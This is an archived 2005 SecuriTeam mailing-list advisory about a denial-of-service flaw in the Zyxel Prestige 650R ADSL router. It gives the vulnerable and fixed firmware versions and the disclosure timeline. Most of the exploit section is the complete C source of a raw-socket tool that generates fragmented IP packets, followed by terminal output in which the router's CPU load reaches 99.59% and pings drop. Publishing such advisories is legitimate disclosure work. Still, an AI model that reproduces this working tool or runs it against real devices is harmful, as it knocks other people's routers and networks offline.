[NEWS] Prestige 650R ADSL Router DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 05/26/05

  • Next message: SecuriTeam: "[NT] MS Word Unicode Buffer Overflow (MCW)"
    To: list@securiteam.com
    Date: 26 May 2005 18:15:58 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Prestige 650R ADSL Router DoS
    ------------------------------------------------------------------------

    SUMMARY

     <ww.zyxel.com> Zyxel Prestige 600 Series is "a Popular ADSL Modem and
    Router".

    Prestige 600 fails to handle malformed fragmented IP packets. Whenever
    Prestige stumbles upon such packets its CPU usage will spike to 100% thus
    causing denial of service.

    DETAILS

    Vulnerable Systems:
     * Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1)

    Immune Systems:
     * ZyNOS FireWall version 3.40(GT.5)

    Vendor Status:
    The vendor claims its not a vulnerability, that is rather a "Hardware
    Limitation". But seems an the last release of it's firmware fixed the
    problem.

    Patch Availability:
    Upgrade the firmware to V3.40(GT.5)

    Disclosure Timeline:
     * 05.02.05 - Initial vendor notification
     * 05.03.05 - Initial vendor response
     * 05.08.05 - Vendor determined as a HW limitation
     * 05.10.05 - No response from vendor to several mails

    Exploit:
    Any IP crafting tool will do the job, in this case we used a fragmented ip
    generator coded by Fryx:
    /*
    * frag
    * by: Fryxar
    * e-mail: fryxar@yahoo.com.ar
    *
    * Fragment ICMP packet generator
    */

    #include<stdio.h>
    #include<netdb.h>
    #include<stdlib.h>
    #include<errno.h>
    #include<unistd.h>
    #include<sys/socket.h>
    #include<netinet/ip.h>
    #include<netinet/ip_icmp.h>

    #define ERROR(msg) {perror(msg); exit -1;}

    #define FRAGS_ALL 0
    #define FRAGS_ODD 1
    #define FRAGS_EVEN 2

    int open_packet() {
    int s, on = 1;
     
      if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                    ERROR("socket");

       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
                    ERROR("setsockopt");
     
    return s;
    }

    unsigned short in_cksum(unsigned short *addr,int len)
    {
            register int sum = 0;
            u_short answer = 0;
            register u_short *w = addr;
            register int nleft = len;
     
            /*
             * Our algorithm is simple, using a 32 bit accumulator (sum), we
    add
             * sequential 16 bit words to it, and at the end, fold back all
    the
             * carry bits from the top 16 bits into the lower 16 bits.
             */
            while (nleft > 1) {
                    sum += *w++;
                    nleft -= 2;
            }
     
            /* mop up an odd byte, if necessary */
            if (nleft == 1) {
                    *(u_char *)(&answer) = *(u_char *)w ;
                    sum += answer;
            }
     
            /* add back carry outs from top 16 bits to low 16 bits */
            sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
            sum += (sum >> 16); /* add carry */
            answer = ~sum; /* truncate to 16 bits */
            return(answer);
    }

    int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr,
    int protocol, char frags, int id, int frag_len, int tot_len) {
    unsigned char packet[IP_MAXPACKET];
    struct iphdr *iphdr;
    struct icmphdr *icmphdr;
    int offset, length;
    int start, step;

       switch(frags) {
       case FRAGS_ALL:
          start = 0;
          step = (frag_len<<3);
          break;
       case FRAGS_EVEN:
          start = 0;
          step = 2*(frag_len<<3);
          break;
       case FRAGS_ODD:
          start = (frag_len<<3);
          step = 2*(frag_len<<3);
          break;
       }

       memset(packet, 0, IP_MAXPACKET);
       length = sizeof(struct iphdr) + (frag_len<<3);
       
       iphdr = (struct iphdr *)packet;
       icmphdr = (struct icmphdr *)(packet + sizeof(struct iphdr));

            iphdr->ihl = 5;
            iphdr->version = IPVERSION;
            iphdr->tot_len = htons(length);
            iphdr->id = htons(id);
            iphdr->ttl = IPDEFTTL;
            iphdr->protocol = protocol;
            iphdr->saddr = saddr.sin_addr.s_addr;
            iphdr->daddr = daddr.sin_addr.s_addr;

       for(offset = start; offset < tot_len; offset += step) {

          if(offset) {
                       // Not first fragment
             iphdr->frag_off = htons(offset>>3);
             bzero(packet + sizeof(struct iphdr), IP_MAXPACKET
                                                                     -
    sizeof(struct iphdr));
          } else {
                            // First fragment
             iphdr->frag_off = 0;
                            if(protocol == IPPROTO_ICMP) {
                icmphdr->type = ICMP_ECHO;
                icmphdr->code = 0;
                icmphdr->un.echo.id = 0;
                icmphdr->un.echo.sequence = 0;
                icmphdr->checksum = (unsigned short)in_cksum((unsigned short
    *)icmphdr, tot_len);
             }
         }

         if(offset + (frag_len<<3) < tot_len) {
            iphdr->frag_off |= htons(IP_MF);
         } else {
            length = sizeof(struct iphdr) + tot_len - offset;
            iphdr->tot_len = htons(length);
         }
      

          iphdr->check = (unsigned short)in_cksum((unsigned short *)iphdr,
    sizeof(struct iphdr));

          if(sendto(s, packet, length, 0x0, (struct sockaddr *)&daddr,
    sizeof(struct sockaddr)) != length)
              ERROR("sendto");
       }
    }

    void usage(char *program) {
       fprintf(stderr, "frag v"VERSION"\n"
          "usage: %s [options] <source_host> <destination_host>\n\n"
          "options:\n"
          " -i <id> Starting session id (range: 1-65535)\n"
          " -s <fragmentsize> Fragments size (x 8)\n"
          " -l <packetsize> Total packet size\n"
          " -t <type> Set send policity (odd|even|all)\n"
          " -p <protocol> Set protocol (tcp|udp|icmp...)\n"
          " -a <n> Amount of packet to send\n"
          "\ndefault:\n"
          "%s -i 1 -t all -s 7 -p icmp -l 64000 -a 1 my_host.com
    your_host.com\n"
          "\n", program, program);
    exit(-1);
    }

    int main(int argc, char *argv[]) {
    char *shost, *dhost;
    struct hostent *hostentry;
    struct sockaddr_in saddr, daddr;
    struct protoent *protoent;
    int s, i;
    int id = 1, size = 7, len = 64000, amount = 1;
    int protocol = IPPROTO_ICMP, type = FRAGS_ALL;

      if(argc < 3) usage(argv[0]);

       while((i = getopt(argc, argv, "a:i:s:l:t:p:")) != -1) {
          switch(i) {

             case 'i':
                if(strlen(optarg) == 0) usage(argv[0]);
                id = atoi(optarg);
             break;

             case 's':
                if(strlen(optarg) == 0) usage(argv[0]);
                size = atoi(optarg);
             break;

             case 'a':
                if(strlen(optarg) == 0) usage(argv[0]);
                amount = atoi(optarg);
             break;

             case 'l':
                if(strlen(optarg) == 0) usage(argv[0]);
                len = atoi(optarg);
             break;

             case 't':
                if(!memcmp(optarg, "odd", 4)) type = FRAGS_ODD;
                                    else if(!memcmp(optarg, "even", 5)) type =
    FRAGS_EVEN;
                                    else if(!memcmp(optarg, "all", 4)) type =
    FRAGS_ALL;
                                    else usage(argv[0]);
             break;

             case 'p':
                if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);
                                    protocol = protoent->p_proto;
             break;

                            default:
                               usage(argv[0]);
                                    break;
                    }
            }
      
      shost = argv[argc-2];
      dhost = argv[argc-1];

    // Source address
        if((hostentry = gethostbyname(shost)) == NULL) ERROR("gethostbyname
    source address");
        memset(&saddr, 0, sizeof(struct sockaddr));
        saddr.sin_family = AF_INET;
        saddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

    // Destination address
        if((hostentry = gethostbyname(dhost)) == NULL) ERROR("gethostbyname
    destination address");
        memset(&daddr, 0, sizeof(struct sockaddr));
        daddr.sin_family = AF_INET;
        daddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

    // MAIN
        s = open_packet();

             for(i = 0; i < amount; i++) {
                printf("Sending packets with ID %d (frags length=%d, total
    length=%d)\n",
                                                              (id + i)%65535,
    (size<<3), len);
           send_packet(s, saddr, daddr, protocol, type, (id + i)%65535, size,
    len);
             }

        close(s);

    return(0);
    }

    Example:
    root@r2d2:~/infobyte# ping 192.168.1.252
    PING 192.168.1.252 (192.168.1.252): 56 octets data
    64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms
    64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms
    --- 192.168.1.252 ping statistics ---
    2 packets transmitted, 2 packets received, 0% packet loss
      
     -Prestige Status (Normal)
      Ethernet:
         Status: 100M/Full Duplex Tx Pkts: 71
         Collisions: 0 Rx Pkts: 164
       CPU Load = 4.09%

    root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a
    1 170.1.2.3 192.168.1.252
    Sending packets with ID 1 (frags length=56, total length=64000)
    root@r2d2:~/infobyte# ping 192.168.1.252
    PING 192.168.1.252 (192.168.1.252): 56 octets data
    64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms
    64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms
    -- 192.168.1.252 ping statistics ---
    51 packets transmitted, 2 packets received, 93% packet loss
     
      -Prestige Status (During the denial)
        Ethernet:
         Status: 100M/Full Duplex Tx Pkts: 71
         Collisions: 0 Rx Pkts: 164
       CPU Load = 99.59%

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fedek@infobyte.com.ar>
    Federico Kirschbaum.
    The original article can be found at: <http://www.infobyte.com.ar>
    http://www.infobyte.com.ar

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] MS Word Unicode Buffer Overflow (MCW)"

    Relevant Pages

    • [TOOL] Snortcheck Tool: Check If Snort Its Running
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct addr { ... int mac_aton; ... struct addr src, dst; ...
      (Securiteam)
    • [EXPL] Cisco IOS Next Hop Resolution Protocol DoS (NHRP, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int open_socket; ... struct nhrp_h { ...
      (Securiteam)
    • [NT] Quicktime Player HTTP Error Message Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int hex2bin; ... struct sockaddr_in peer; ... buff = NULL; ...
      (Securiteam)
    • [TOOL] MSN CAPTURE - MSN Messenger Packet Parser
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MSN CAPTURE captures MSN messenger packets and display it to the user in a ... struct user *prox; ... void get_msg(u_char *payload, char *msg, int cont); ...
      (Securiteam)
    • [EXPL] Remote rpc.mountd Exploit for xlog() Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int connect_host; ... void do_xp; ... struct sockaddr_in sin; ...
      (Securiteam)